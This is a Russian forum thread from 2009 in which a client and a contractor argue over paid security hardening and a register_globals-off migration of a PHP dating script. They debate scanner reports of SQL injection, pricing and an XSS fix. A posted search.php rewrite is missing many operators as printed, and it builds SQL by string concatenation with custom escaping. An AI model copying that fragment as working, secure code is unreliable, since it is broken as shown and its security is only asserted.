Это неправда. Я не просила и не прошу вас исправлять код. Мне нужна было от вас 100% гарантия от уязвимостей, которую вы мне дали абсолютно однозначно. Мне соврешнно не нужно, чтобы вы сам код правили на предмет его оптимизации или еще чего-то в этом роде. не подменяйте то, чем я недовольна на совершенно другое, что якобы я сама не знаю, чего хочу. Я хочу безопасный код. Кривой-некривой - это я вам в вину или в работу не ставлю. Безопасный-небезопасный - вот вопрос, коорый меня волнует.

А насчет register_globals off я оговорила, что мне нужен качественный и грамотный переход на register_globals off. Я по поводу register_globals off вообще ничего не говорила, это мне здесь уже на форуме указали, что он сделан неграмотно. Я Trianon доверяю безоговорочно, так как он мне уже помогал (причем совершенно бескорыстно) не знаю, помнит он это или нет :) И к sim5 я тоже за помощью уже обращалась, так что да, их мнение для меня очень важно. К вам я обратилась первый раз и пока что поводов безгранично доверять вашим словам о том, что вы свою работу сделали хорошо - не вижу. Пока что я вижу только, что свои огрешности вы пытаетесь переложить на мои, вроде как изначально, неверно поставленные требования.

Я уже сказала, что выложу полный отчет сканнера по всем найденным уязвимостям в понедельник, раз уж из-за одного куска такие споры возникли. Если sim5 пишет, что он не доверяет сканнерам на 100% - на сколько процентов им можно доверять? на 50 можно? на 10%? Если сканнер находит МНОГО уязвимостей - есть смысл говорить о том, что этих уязвимостей реально может быть хотя бы 1? А если есть хотя бы 1 - можно говорить о том. что работа не выполнена и код небезопасен?

Поправьте меня, если я не права. Я не хочу ругаться, я не хочу портить кому-то репутацию, мне это не нужно. Мне нужен безопасный код. Я хочу спокойно работать в интернет со своим сайтом.

   
 
 автор: Rebz   (04.12.2009 в 13:11)   письмо автору
 
   для: zeta777   (04.12.2009 в 13:01)
 

Да Вы бесусловно правы, говоря, что длинные дискуссии абсолютно ни к чему не приводят, и эта беседа зашла в тупик.
Разговор начался с того, что мы сдали zeta777 уязвимый код, она это утверждала, опираясь на отчёты сканеров, и продолжает верить им, несмотря на то, что никаких уязвимостей в движке нет, и никто их показать не может.
Далее, мы абсолютно уверены, что этот код она поставит, и работать он будет. Ну если она это не сделает, то это просто глупо. Код РАБОЧИЙ и БЕЗОПАСНЫЙ, и НИКТО ни тут, не в другом месте, не сможет показать, что это не так. Мы допускаем, что есть какие-то огрехи и не отказываемся что-то делать по желанию клиента, НО! мы не можем выполнить требование "ДЕЛАЙТЕ БЕЗОПАСНО!111" если там и так безопасно )
То есть, что у нас получается. Zeta777 не смотря на то, что никто-то из вас, ни она сама не может показать нам ни одной дыры в коде продолжает с завидным упорством утверждать что сканер прав и код УЯЗВИМ.
Это невозможно оспорить и как либо доказать обратное, ну хорошо, если ей так удобнее, ради Бога, люди которые что-то в этом понимают сами всё увидят.

Что касается КАЧЕСТВА работы и особенно ЦЕН. Вы меня извините, господа, но обсуждение цен я считаю абсурдом. У нас висит прайс на найденныё уязвимости, есть отчёт на 56!!! страниц, где все они найдены и профикшены. Именно эта работа стоит 40000.
Тоесть 40 тыс. стоит не переписывание движка, а ПОИСК УЯЗВИМОСТЕЙ и ФИКСЫ. Повторю ещё раз: У нас висит прайс на фиксы кода, и каждая найденная и профикшенная уязвимость стоит денег по прайсу.
Мы не виноваты, что движок дырявый как решето, мы его не писали, да, за эти деньги можно было написать новый, но у на такой задачи не было.
Задача была перевести код чтобы он работал на RG=off И сделать его безопасным. По какому именно пункту мы не справились?

Код этого движка изначально написан в старом стиле и ориентирован на PHP/FI (То что было до PHP 3, т.е. php 2.0), как вы думаете, php 5 не будет ругаться на это безобразие? Отсюда и ошибки и флаг в .htaccess. Повторяю, у нас не было задачи переписывать код с нуля.

И уважаемая zeta777, прекратите наконец это сумашествие, неужели вы не видите, что НИКТО и форумчан не может показать ни одной уязвимости, которую можно было-бы проэксплуатировать?

Итог: Мы имеем БЕЗОПАСНЫЙ движок, который работает под RG=off с кривым кодом и недовольную клиентку которая абсолютно не понимает о чём идёт речь, и продолжает оспаривать очевидное.
Повторяю ещё раз: код мы не писали, мы лишь перевели его на RG=off(не за 40т, а за 5!!!!) и сделали безопасным. Если кто-то говорит, что это не так, то давайте учиться подкреплять свои слова чем-то конкретным.
Тоесть вот уязвимость - вот эксплуатация. Или вот тут не работает потому что вот это не правильно.
Дело в том, что даже фраза "лол)" от Fractured# однозначно трактуется клиенткой как сомнение в безопасности. хотя как я полагаю, это относится к бредовой фразе о том, что "$_REQUEST вроде сам экранирует спецзнаки", хотя возможно я неправ конечно.
Вобщем к чему это я, ну ок, Вы недовольны работой, мы это уже поняли, хотите писать везде, что мы не правы со ссылкой на этот топик, опять же - пожалуйста! Мы выложим сорцы до и после, отчёты сканера и переписку, кому будет нужно разберуться.

PS И кстати, всё забываю спросить, а где вы берёте вот такие вещи? "я согласилась с суммой в ответ на гарантии того, что код будет 100% безопасен" вы попробуйте поискать по топику строку "100%", с чего Вы решили, что кто-то и где-то даст вам гарантию 100% безопасности?
Я вас наверное сейчас удивлю, но 100% гарантию вам может дать только пионер со сканером.
Мы лишь по прайсу устранили найденные баги. Это ЗНАЧИТЕЛЬНО повысило безопасность, но не на 100%. И НИКТО и НИКОГДА вам такой гарантии не даст, вы это себе придумали, посмотрите внимательно логи переписки.

Вот ваши-же условия:
"вы гарантируете, что это будет безопасный код? И нормальный переход на global_register off не при помощи чего-то типа
<? if
(!ini_get("register_globals"))
{import_request_variables('GPC');}?>,
а именно прописав все переменные в скрипте как положено?"

И наш ответ:
"Проверка будет на всех переменных, гарантируем безопасный код."

и они выполнены, код безопасен и работает, хотите продолжать это безумие, без проблем, но наверное мы устранимся от дискуссии.

Последний раз взываем к вашему разуму и предлагаем договориться, тоесть вы сформулируйте что именно Вас не устроило, и бросайте играться со сканерами, к ним ещё знания нужны, а мы готовы что-то подправить под ваши нужды

   
 
 автор: zeta777   (04.12.2009 в 16:16)   письмо автору
 
   для: Rebz   (04.12.2009 в 13:11)
 

"вы гарантируете, что это будет безопасный код? И нормальный переход на global_register off не при помощи чего-то типа
<? if
(!ini_get("register_globals"))
{import_request_variables('GPC');}?>,
а именно прописав все переменные в скрипте как положено?"

И наш ответ:
"Проверка будет на всех переменных, гарантируем безопасный код."


Да, как ни странно именно это я и приняла за гарантию безопасности кода. Вам это кажется странным?

Я вас наверное сейчас удивлю, но 100% гарантию вам может дать только пионер со сканером.
Мы лишь по прайсу устранили найденные баги. Это ЗНАЧИТЕЛЬНО повысило безопасность, но не на 100%.


Это уже игра слов. Гарантирую безопасный код или гарантирую 100% безопасный код - если для вас это разные понятия, то о чем еще говорить дальше...

Когда вы определяли окончательную цену вы написали: Движок нами был полностью переписан, фактически. Я этого от вас не требовала, но это ваши слова. Теперь вы пишите Мы лишь по прайсу устранили найденные баги, но это так, к слову.

У нас висит прайс на найденныё уязвимости, есть отчёт на 56!!! страниц, где все они найдены и профикшены

Ваши слова:

я бы посоветовал Вам выбрать способ помегабайтно. 10 тыс.руб предоплата, всего за 1 Мб кода = 20.000 руб. + отдельная плата за патчи уязвимостей + скидка.

Я заплатила вам 40 при том, что код весит 0,5 Мб. Теперь вы мне говорите о том, сколько уязвимостей было найдено и нас колько страниц у вас отчет по найденным уязвимостям.

Вы пишите, не верить сканнерам... Прекрасно, но вот Ваши слова после того, как я Вам прислала первый отчет сканнера:

что мы пропустили, это одну XSS в файле register.php.
Фикс - замените строчку 95:
 if($action!="submit"|| $es !=""||($action=="" && $es=="")) { echo $action;?>
на строчку:
 if($action!="submit"|| $es !=""||($action=="" && $es=="")) { echo
htmlspecialchars($action);?>
Или скачайте прикрепленный исправленный файл register.php.


То есть если бы не отчет сканнера Вы бы эту уязвимость не заметили, правильно? Почему же я не должна думать о том, что в полном отчете сканнера есть еще уязвимости, которые Вы пропустили? Что же вы теперь доказываете, что сканнер врет, если сами признали его правоту как минимум 1 раз в неполном его отчете?

мы готовы что-то подправить под ваши нужды

Вот и исправляйте.

   
 
 автор: Rebz   (04.12.2009 в 16:55)   письмо автору
 
   для: zeta777   (04.12.2009 в 16:16)
 

Я заплатила вам 40 при том, что код весит 0,5 Мб. Теперь вы мне говорите о том, сколько уязвимостей было найдено и нас колько страниц у вас отчет по найденным уязвимостям.
Совершенно верно.
1 мб = 20.000 руб. Естественно, если код меньше 1 мб, он оплачивается как 1 мб, т.к. это минимальная стоимость.
"отдельная плата за патчи уязвимостей" - почему это не учли? Я Вам считал сколько будет стоить фикс. Со скидкой и без.

Почему же я не должна думать о том, что в полном отчете сканнера есть еще уязвимости, которые Вы пропустили?
Потому что мы разобрали все найденные уязвимости сканером и выявили только одну XSS, которую мы пропустили. Я бы объяснил вам какую проблему для безопасности представляет XSS в переменной $action и как так получилось, но вряд ли у меня это получится ))

Вот и исправляйте
Что?

   
 
 автор: sim5   (04.12.2009 в 15:17)   письмо автору
 
   для: zeta777   (04.12.2009 в 13:01)
 

>на сколько процентов им можно доверять? на 50 можно? на 10%?

Действуйте так - не доверять, а проверять. В общем по принципу - не верь глазам своим. Процентами определять.... это было сказано образно.

   
 
 автор: Trianon   (04.12.2009 в 17:29)   письмо автору
 
   для: Rebz   (04.12.2009 в 10:33)
 

>Trianon , прошу Вас отписаться. А перед тем ознакомиться с темой заново, где я отписался и сказать - уязвим наш код или нет. И если да, то как можно эту уязвимость эксплуатировать. К Вашему мнению прислушается zeta777.

Свое мнение я изложил в ответах
(02.12.2009 в 13:29), (02.12.2009 в 15:56), (03.12.2009 в 13:21), (03.12.2009 в 18:58)

В схолластический формат спора о том, что считается/является уязвимостью, а что нет, и чем уязвимость отличается от её эсплуатации, втянуть меня Вам не удастся.

Могу еще добавить, что мне непонятен сам формат услуги "устранение уязвимостей в розницу" ,
Как будто уязвимости можно насыпать 50 штук в кулек и отсыпать 45.
Но это опять же не технический предмет спора.

   
 
 автор: Fractured#   (04.12.2009 в 17:53)   письмо автору
 
   для: Rebz   (04.12.2009 в 10:33)
 

> Fractured#, объясните, пожалуйста, что Вы имеете в виду под "лол)"?

лол по поводу "$_REQUEST вроде сам экранирует спецзнаки, и необходимости в общем плане quote_smart, вроде бы сама собой отпадает"

   
 
 автор: zeta777   (04.12.2009 в 10:36)   письмо автору
 
   для: Fractured#   (03.12.2009 в 21:46)
 

Увы, в общем, я поняла, что меня все-таки надули. По одному только файлу просканированному на уязвимости програмой acunetix и по отчету по этому файлу возникло столько споров... Плюс из сообщения Trianon я делаю вывод, что перевод на register_globals off тоже можно было бы выполнить более грамотно. Я в выходные непременно просканирую скрипт полностью и выложу здесь отчет по всем уязвимостям. То же самое с ссылкой на это обсуждение сделаю на других форумах, отставлю отзыв по их работе на их собственном форму и оставлю сссылку него - если они удалят мой отзыв со своего форума - по крайней мере на других форумах будет информация о том, что отзыв был, но его удалили.

Я не профессионал и сказть с уверенностью, что меня надурили - не могу, но пусть в дальнейшем потенциальные клиенты сами решают, стоит ли с ними связываться или нет.

PS: Fractured, вот это Ваше лол) означает, что вы все-таки подвергаете сомнению фразу VITtek о защищенности кода или я неверно Вас поняла?

   
 
 автор: zeta777   (04.12.2009 в 10:37)   письмо автору
 
   для: zeta777   (04.12.2009 в 10:36)
 

Одновременно с Rebz отписали :)

   
 
 автор: Trieg   (04.12.2009 в 14:47)   письмо автору
 
   для: zeta777   (04.12.2009 в 10:37)
 

попал я сюда чисто случайно, пробежался по теме.. если я все прально понял тс заплатил 40к за обеспечение безопасности какого то движка + перевод с регглобал on на off? Если это действительно так то мне очень жаль ТС так как подобная работа столько не стоит (даже близко) вас реально надули да и еще сделали работу очень похабно.. я не утверждаю что после проделанной работы скрипт уязвим но однозначно скажу что за 40к он должен быть *переделан* совершенно по другому.

что касается сканера... завязывайте вы с этим баловаться. Уверен на 100% что даже в полностью неуязвимом коде он найдет кучу псевдо багов, не какой сканер не способен полностью проанализировать логику даже примитивного скрипта регистрации, чтобы находить уязвимости в неизвестном коде требуется анализ специалиста и даже самая навороченная нейронная сеть с этим не справится.

UPD: перед тем как запостить пригляделся к месагам.. если за работу сняли 5к а не 40 то яб даже сказал этого маловато для разгребания подобной выгребной ямы(такой отзыв о скрипте я даю глядя на кусок сорса и по инфе о том что он *кодился* еще под 2-3 версию пыха).

PS:раз я тут отписал то пользуясь случаем предлагаю свои услуги php/html/css/js =))

   
 
 автор: Саня   (04.12.2009 в 14:53)   письмо автору
 
   для: Trieg   (04.12.2009 в 14:47)
 

Хехе, вы предлагаете свои услуги, учивавая, что этот пост ваш единственный на форуме, а в профиле ничего весомого не написано...

   
 
 автор: Rebz   (04.12.2009 в 15:10)   письмо автору
 
   для: Trieg   (04.12.2009 в 14:47)
 

если я все прально понял тс заплатил 40к за обеспечение безопасности какого то движка + перевод с регглобал on на off?
Уточню.
5000 - за перевод, 35000 - за найденные и исправленные уязвимости по прайсу

   
 
 автор: Valick   (04.12.2009 в 17:07)   письмо автору
 
   для: Rebz   (04.12.2009 в 15:10)
 

дайте пожалуйста ссылку на Ваш сайт

   
 
 автор: Rebz   (04.12.2009 в 17:14)   письмо автору
 
   для: Valick   (04.12.2009 в 17:07)
 

Да, конечно, http://rebz.net

Если кто узнает себя с IP 91.195.127.*, просьба, либо указывайте детали, либо не балуйтесь с формой заказа. Спасибо.

   
 
 автор: Valick   (04.12.2009 в 18:03)   письмо автору
 
   для: Rebz   (04.12.2009 в 17:14)
 

Кстати могу предложить услуги по доработке формы заказа, что бы она не доставляла неудобств.
Так как Вы будете у меня первый клиент, я вам сделаю скидку 50%.
300 евро все удовольствие.

   
 
 автор: Rebz   (04.12.2009 в 18:46)   письмо автору
 
   для: Valick   (04.12.2009 в 18:03)
 

Господа это моё последнее сообщение, извините. Уважаемая zeta777 изначально ставила вопрос не о кривизне кода и ценах, а о его БЕЗОПАСНОСТИ.

Вот её цитата из этого топика:

"Мне соврешнно не нужно, чтобы вы сам код правили на предмет его оптимизации или еще чего-то в этом роде. не подменяйте то, чем я недовольна на совершенно другое, что якобы я сама не знаю, чего хочу. Я хочу безопасный код. Кривой-некривой - это я вам в вину или в работу не ставлю. Безопасный-небезопасный - вот вопрос, коорый меня волнует."

Уязвимости нам никто не показал, и не покажет, клиентка ничего не хочет слышать, началось обсуждение о том стОит это того или нет, и "как бы я это сделал классно и дёшево" ну и просто стёб, вообще не относящийся к теме.
До свидания.

   
 
 автор: Николай2357   (04.12.2009 в 19:49)   письмо автору
 
   для: Rebz   (04.12.2009 в 18:46)
 

Надеюсь исполнитель заглянет одним глазком...
Вот так примерно должна была быть выполнена работа, что бы действительно соответствовать озвученному ценнику:
<?php
// Dating Agent PRO (Licensed for www.minsites.com : D1076425483)
// Copyrights Nica Teodor Marian @2003. All rights reserved.
// (ntm@datetopia.com; ntm@projectsagent.com; ntm3k@yahoo.com)
    
session_start();

    include(
"_header.php");
    
    
$page            = !empty($_GET['page'])?(int)$_GET['page']:NULL;
    
$age1            = !empty($_POST['age1'])?(int)$_POST['age1']:NULL;
    
$age2            = !empty($_POST['age2'])?(int)$_POST['age2']:NULL;
    
$search          = !empty($_POST['search'])?$_POST['search']:NULL;
    
$login           = !empty($_POST['login'])?$_POST['login']:NULL;
    
$fname           = !empty($_POST['fname'])?$_POST['fname']:NULL;
    
$lname           = !empty($_POST['lname'])?$_POST['lname']:NULL;
    
$country         = !empty($_POST['country'])?$_POST['country']:NULL;
    
$state           = !empty($_POST['state'])?$_POST['state']:NULL;
    
$city            = !empty($_POST['city'])?$_POST['city']:NULL;
    
$yahoo           = !empty($_POST['yahoo'])?$_POST['yahoo']:NULL;
    
$msn             = !empty($_POST['msn'])?$_POST['msn']:NULL;
    
$aol             = !empty($_POST['aol'])?$_POST['aol']:NULL;
    
$icq             = !empty($_POST['icq'])?$_POST['icq']:NULL;
    
$onlinet         = !empty($_POST['onlinet'])?(int)$_POST['onlinet']:NULL;
    
$sex             = !empty($_POST['sex'])?$_POST['sex']:NULL;
    
$likes           = !empty($_POST['likes'])?$_POST['likes']:NULL;
    
$height1         = !empty($_POST['height1'])?(int)$_POST['height1']:NULL;
    
$height2         = !empty($_POST['height2'])?(int)$_POST['height2']:NULL;
    
$weight1         = !empty($_POST['weight1'])?(int)$_POST['weight1']:NULL;
    
$weight2         = !empty($_POST['weight2'])?(int)$_POST['weight2']:NULL;
    
$maritalstatus   = !empty($_POST['maritalstatus'])?$_POST['maritalstatus']:NULL;
    
$skin            = !empty($_POST['skin'])?$_POST['skin']:NULL;
    
$eyes            = !empty($_POST['eyes'])?$_POST['eyes']:NULL;
    
$hair            = !empty($_POST['hair'])?$_POST['hair']:NULL;
    
$relationship    = !empty($_POST['relationship'])?$_POST['relationship']:NULL;
    
$custom1         = !empty($_POST['custom1'])?$_POST['custom1']:NULL;
    
$custom2         = !empty($_POST['custom2'])?$_POST['custom2']:NULL;
    
$custom3         = !empty($_POST['custom3'])?$_POST['custom3']:NULL;
    
$drinker         = !empty($_POST['drinker'])?$_POST['drinker']:NULL;
    
$smoker          = !empty($_POST['smoker'])?$_POST['smoker']:NULL;
    
$religion        = !empty($_POST['religion'])?$_POST['religion']:NULL;
    
$pictures        = !empty($_POST['pictures'])?$_POST['pictures']:NULL;
    
$languages       = !empty($_POST['languages'])?$_POST['languages']:NULL;
    

    if (!
$onlinetimeout$onlinetimeout 60 3;
        
$logt time() - $onlinetimeout;
    
    if (
$page 999 or $page 1
        
$page 1;
    
    if (!
$search
        
$page 0;
    
    if (!
$age1
        
$age1 0;
    
    if (!
$age2
        
$age2 999;
    
    if (
$search)
    {
            
$c_pic '';
            
$t_pic '';
            
$s_pic '';        
        
        if (
$pictures
        {
            
$c_pic "AND m.id=pi.member and pi.type='Main' ";
            
$t_pic ", pictures pi";
            
$s_pic ", pi.id as pid, pi.picture as picture, pi.details as palt";
        }

        
$c "m.id=p.id $c_pic";
        
        if (
$login
            
$c .= "AND m.login LIKE '%".quote_smart($login)."%' ";
        
        if (
$fname
            
$c .= "AND m.fname LIKE '%".quote_smart($fname)."%' ";
        
        if (
$lname
            
$c .= "AND m.lname LIKE '%".quote_smart($lname)."%' ";
        
        if (
$country
            
$c .= "AND m.country LIKE '%".quote_smart($country)."%' ";
        
        if (
$state
            
$c .= "AND m.state LIKE '%".quote_smart($state)."%' ";
        
        if (
$city
            
$c .= "AND m.city LIKE '%".quote_smart($city)."%' ";
        
        if (
$yahoo
            
$c .= "AND p.yahoo LIKE '%".quote_smart($yahoo)."%' ";
        
        if (
$msn
            
$c .= "AND p.msn LIKE '%".quote_smart($msn)."%' ";
        
        if (
$aol
            
$c .= "AND p.aol LIKE '%".quote_smart($aol)."%' ";
        
        if (
$icq
            
$c .= "AND p.icq = '".quote_smart($icq)."' ";
        
        if (
$onlinet
            
$c .= "AND p.ldate >= "$onlinet;
        
        if (
$age1
            
$c .= "AND (YEAR(CURRENT_DATE) - YEAR(p.birthdate)) - (RIGHT(CURRENT_DATE, 5) < RIGHT(p.birthdate, 5)) >= "$age1;
        
        if (
$age2
            
$c .= "AND (YEAR(CURRENT_DATE) - YEAR(p.birthdate)) - (RIGHT(CURRENT_DATE, 5) < RIGHT(p.birthdate, 5)) <= "$age2;
        
        if (
$sex
            
$c .= "AND p.sex = '".quote_smart($sex)."' ";
        
        if (
$likes
            
$c .= "AND p.likes = '".quote_smart($likes)."' ";
        
        if (
$height1
            
$c .= "AND p.height >= "$height1 ;
        
        if (
$height2
            
$c .= "AND p.height <= "$height2 ;
        
        if (
$weight1
            
$c .= "AND p.weight >= "$weight1 ;
        
        if (
$weight2
            
$c .= "AND p.weight <= "$weight2 ;
        
        if (
$maritalstatus
            
$c .= "AND p.maritalstatus='".quote_smart($maritalstatus)."' ";
        
        if (
$skin
            
$c .= "AND p.skin = '".quote_smart($skin)."' ";
        
        if (
$eyes
            
$c .= "AND p.eyes = '".quote_smart($eyes)."' ";
        
        if (
$hair
            
$c .= "AND p.hair = '".quote_smart($hair)."' ";
        
        if (
$relationship
            
$c .= "AND p.relationship = '".quote_smart($relationship)."' ";
        
        if (
$custom1
            
$c .= "AND p.custom1 = '".quote_smart($custom1)."' ";
        
        if (
$custom2
            
$c .= "AND p.custom2 = '".quote_smart($custom2)."' ";
        
        if (
$custom3
            
$c .= "AND p.custom3 = '".quote_smart($custom3)."' ";
        
        if (
$drinker
            
$c .= "AND p.drinker = '".quote_smart($drinker)."' ";
        
        if (
$smoker
            
$c .= "AND p.smoker = '".quote_smart($smoker)."' ";
        
        if (
$religion
            
$c .= "AND p.religion = '".quote_smart($religion)."' ";
        
        if (
$search == 2
            
$c = isset($_SESSION['sessionc'])?$_SESSION['sessionc']:$c;
        else
            
$_SESSION['sessionc'] = $c;
        
        
        print(
"SELECT m.id AS id, m.login AS login, m.country AS country, m.state AS state, m.city AS city, 
                (YEAR(CURRENT_DATE) - YEAR(p.birthdate)) - (RIGHT(CURRENT_DATE, 5) < RIGHT(p.birthdate, 5)) AS age, 
                 p.ldate AS ldate, p.details AS details 
                 "
$s_pic .
                    FROM `members` m, `profiles` p 
                    "
$t_pic .
                       WHERE "
$c .
                         ORDER BY m.login ASC 
                            LIMIT " 
. (($page 1) * 10) . ", 10");

Этот код не вызовет нотисов, а значит будет работать при включенном
 <?
   error_reporting
(E_ALL);

и соответственно даже (хотя это плохая идея) при
php_flag display_errors On


Я засек время. На исправление этого куска ушло 15 минут. Умножим на 2 (я все таки пользовался готовыми переменными) - 30. Этот код весит 4,5 кб Соответственно весь код -
0,5mb / 4,5kb * 30 / 60 / 8 = 7 дней по 8 часов в день. Прибавим 50 % на форсмажор.
То есть именно те сроки - 1,5 недели, которые и были озвучены.
Отсюда вывод. Не берем во внимание ценник, просто по времени, затраченном на скрипт.
Халтура.

   
 
 автор: Fractured#   (04.12.2009 в 17:54)   письмо автору
 
   для: zeta777   (04.12.2009 в 10:36)
 

> Fractured, вот это Ваше лол) означает, что вы все-таки подвергаете сомнению фразу VITtek о защищенности кода или я неверно Вас поняла?

Неверно. Я не заметил уязвимостей, но код очень грязный, не знаю кто тут виноват.

Но в принципе, деньги Вы переплатили — это единственное, что могу сказать с уверенностью.

   
 
 автор: zeta777   (07.12.2009 в 10:47)   письмо автору
 
   для: Fractured#   (04.12.2009 в 17:54)
 

Я полагаю, тему можно закрывать. Хочу только сказать, что полный отчет сканнера (сделала вчера) показывает 221!!! уязвимость высокой степени. Уязвимых файлов находит 5, уязвимости типа:

SQL injection
Blind SQL/XPath injection for numeric inputs
Blind SQL/XPath injection for string inputs (double quotes)

Не знаю, врет сканнер или нет, ложные это срабатывания или нет, знаю, что, как я уже писала, когда я выслала исполнителью первый отчет сканнер - он признал, что действительно пропустил уязвимость и выслал фикс. Возможность существования других пропущенных им уязвимостей признавать отказывается в принципе, как видите, хотя логически - если пропустил одну и сам это признал, то почему бы не признать, хотя бы теоретически, возможность того, что пропустил, возможно, и другие?

Но, насколько я понимаю, исполнитель исправлять ничего не собирается, о возвращении денег, хотя бы части суммы, речь тоже не идет, в общем, пусть это обсуждение останется здесь для тех, кто возможно, захочет заказть им подобную услугу.

Сейчас хочу опубликовать отзыв по теме на их сайте, по ссылке http://forum.antichat.ru/forum110.html - здесь они предлагают свои услуги. Там правда регистрация подтверждается не только через активацию email, но плюс подтвердждение модератором форума. Так что жду подтверджения регистрации от модератора. Уж не знаю, активирует ли rebz мою регистрацию :), надеюсь да. Как только - так отпишусь у них на форуме.

Очень не хочу, чтобы кто-то еще пострадал от их халявного отношения к работе. Пусть я у них буду первый и последний клиент.

Спасибо всем, кто принял участи в обсуждении :)

Отдельное спасибо Николай2357 , который не пожалел времени и написал нормальный код для файла search.php :)

   
 
 автор: user112   (08.12.2009 в 01:09)   письмо автору
 
   для: zeta777   (07.12.2009 в 10:47)
 

zeta777, отвечу как один из работников кто выполнял ваш заказ.
Или вы показываете здесь публично пример использования хоть одной "уязвимости", или прекращаете попусту сотрясать воздух.

221 уязвимость, это уже смешно. Что бы пользоваться сканером, для начала, надо понимать что он пишет.

   
 
 автор: zeta777   (08.12.2009 в 10:56)   письмо автору
 
   для: user112   (08.12.2009 в 01:09)
 

Хамство еще никому профессионализма не добавляло... Я вам не хамила и вы не имеете никакого права со мной разговаривать в таком тоне

Я ваш клиент, я заплатила вам деньги и я имею полное право выразить свое недовольство вашей работой, что я и делаю. Если бы хотя бы понятие имели о том, как нужно качественно и профессинально выполнять свою работу - вы бы, вместо этого глупого и ненужного словоблудия уже давно бы исправили свои недочеты, тем самым поставив точку и сохранив свою репутацию, если конечно вы ею дорожите. Но зачем вам это после того, как деньги уже получены? Легче объявить, что вы все сделали замечательно и обхамить клиента.

Вы даже не активировали мою регистрацию на вашем форуме, чтобы я могла оставить там отзыв о вашей "работе", а это уже явно говорит о том, что вы и сами понимаете, что работу сделали плохо. А между тем, любой нормальный исполнитель вам скажет, что клиент всегда имеет право оставить отзыв о работе.

Я не хочу, чтобы кто-то еще попался на ваши "услуги", потому что вы не только непрофессионально относитесь к своей работе, но еще и хамите своим клиентам.

И оттого, что вы тут всем будете сейчас доказывать, что вы белые и пушистые, а я полный чайник - ничего не изменится.

Если бы вы провели свою работу, как следует - этого обсуждения вообще не было бы.

С самого начала, когда ваш клиент предъявил вам претензии - хоть какие - вашей прямой обязанностью было попытаться исправить свои ошибки.

Вы вместо того, чтобы по-человечески, тихо спокойно, разобраться и исправиться - начали мне предлагать выставить обсуждение вашей работы на форуме, где есть люди, которые что-то понимают - это было ваше предложение. Я сделала именно это.

Что же вам теперь не нравится? За что боролись... Я, как клиент, вела себя идеально, была предельно вежлива и терпелива. Вы, как исполнитель, решили, что мне чайнику и так сойдет...

Я и не отрицала изначально, что я ничего в этом не понимаю, именно по этой причине и обратилась к вам. Так что предлагать мне показать пример, как пользоваться уязвимостями - в высшей степени некорректно с вашей стороны. Что касается того, что я пользуюсь результатами работы сканнера - как я уже писала, вы признали, что как минимум одну уязвимость вы пропустили и если бы я не предъявила вам эти самые результаты - вы бы наверняка и ее не исправили бы, разве нет? А в последнем письме rebz и сам признал, что перевод на register_globals off был сделан неграмотно...

Зачем же упираться и отрицать очевидные вещи? Вместо того, чтобы по-человечески, как это сделал бы любой адекватный человек, задуматься о том, что раз вы упустили, как минимум, одну уязвимость - значит, могли упустить и больше... Я вам с самого начала писала, что мне не нравится, как вы перевели скрипт на register_globals off - теперь вы это под давлением авторитетного мнения признали... Вы, вместо нормальной реакции, то есть исправления ошибок, начинаете хамить, указывая на то, что я ничего не понимаю и сотрясаю воздух... Это реакция для сопливых мальчишек, которые чего-то там научились, возомнили себя мастерами, а на деле просто плохо воспитаны и понятия не имеют как ведутся дела... Вы относитесь к категории таких исполнителей?

Что касается 221 уязвимости - да, сканнер именно так и показывает. Конечно, сканнер преувеличивает :), но могу предположить, что из 221 уязвимости - 3-4-5 вполне имеют место быть... А может вы их специально оставили, поэтому не хотите признавать? Все-таки хакеры...

И я настаиваю на том, чтобы мой эккаунт на вашем форуме активировали и я могла оставить свой отзыв о вашей работе.

   
 
 автор: user112   (08.12.2009 в 14:28)   письмо автору
 
   для: zeta777   (08.12.2009 в 10:56)
 

Исправлять ваши предположения, мы не собираемся.
То, что вы решили, что там они есть, не доказывает их наличия.

   
 
 автор: zeta777   (08.12.2009 в 15:43)   письмо автору
 
   для: user112   (08.12.2009 в 14:28)
 

Не сомневаюсь в том, что вы ничего не собираетесь делать. Это можно было понять уже исходя их хамского тона вашего первого сообщения. Как я уже писала - меня не интересует ни возврат денег, ни ваши доработки. Сильно сомневаюсь, к тому же, что вы вообще способны сделать эту работу грамотно. Если бы могли - сделали бы с самого начала.

Интересуюсь, когда мне активируют эккаунт на форуме античата, чтобы я могла оставить там свое мнение о вашей работе? Вероятно никогда. Чего и следовало ожидать. Зачем вам надо, чтобы люди узнали правду о ваших "услугах" и о вашем отношении к клиентам?

   
 
 автор: user112   (08.12.2009 в 16:12)   письмо автору
 
   для: zeta777   (08.12.2009 в 15:43)
 

Вы не можете подкрепить свои выводы доказательством. А это называется клевета.

   
 
 автор: zeta777   (08.12.2009 в 16:47)   письмо автору
 
   для: user112   (08.12.2009 в 16:12)
 

Интересно в чем заключается клевета? В том, что я даю вашим возможным клиентам ссылочку на это обсуждение? Клиент имеет право знать, кому и за что он собирается платить деньги. Пусть почитают и решат - иметь им с вами дело или нет. Я недовольна вашей работой, недовольна вашим отношением, вот и пишу об этом. Эккаунт мне активировали, так что оставила отзыв по адресу http://forum.antichat.ru/thread153966.html

   
 
 автор: sim5   (08.12.2009 в 17:19)   письмо автору
 
   для: user112   (08.12.2009 в 16:12)
 

Вы допустили грубейшую ошибку, не в коде, который правили по договору, а в отношении к клиенту. Возможно ваши аппетиты к деньгам послужили поводом сомнениям, хотя, судя по изначальному, нет, и если да, то только от части.

Когда-то мне пришлось уйти с завода. Было трудно, очень трудно, потому как я занялся ремонтом электронной бытовой техники без всякой рекламы, не имея никакого помещения, не то что офиса с броской вывеской. Но со временем все наладилось, и ко мне стали приходить очень многие, те кто уже знал, и те, которым меня посоветовали.

Если меня просили отремонтировать некую технику, которую просто уже не выгодно ремонтировать, в силу ее моральной старости, то я никогда не соглашался, убеждая клиента, что это не выгодно прежде всего для него. Всегда объяснял как мог клиенту причину неработы, и как ее избежать впоследствии, если она является следствием эксплуатации техники хозяином. Объяснял, не смотря на стандартные фразы - "Ой, я все равно не понимаю в этом ничего", не вдаваясь в технические подробности, а давая понять клиенту, что та цена, которую ему придется заплатить за работу, обуславливается вот этим и вот этим.

Единственный случай в моей практике, когда мне не удалось убедить клиента в том, что его не обманывают. Это случай с видеомагнитофоном Фунай, в котором маховик ведущего двигателя был насажен на вал косо непосредственно на заводе изготовителе. Двигатель является многофазным, и маховик просто протер обмотки двигателя, что потребовало смены всего узла, на тот момент стоящего 460 руб. По тем временам это большие деньги были.
Не удалось убедить потому, что хоязин просто исключал, что техника японская (хотя сборка Малайзии) ну просто не может быть таковой, и что это чуть ли не я сотворил такое.
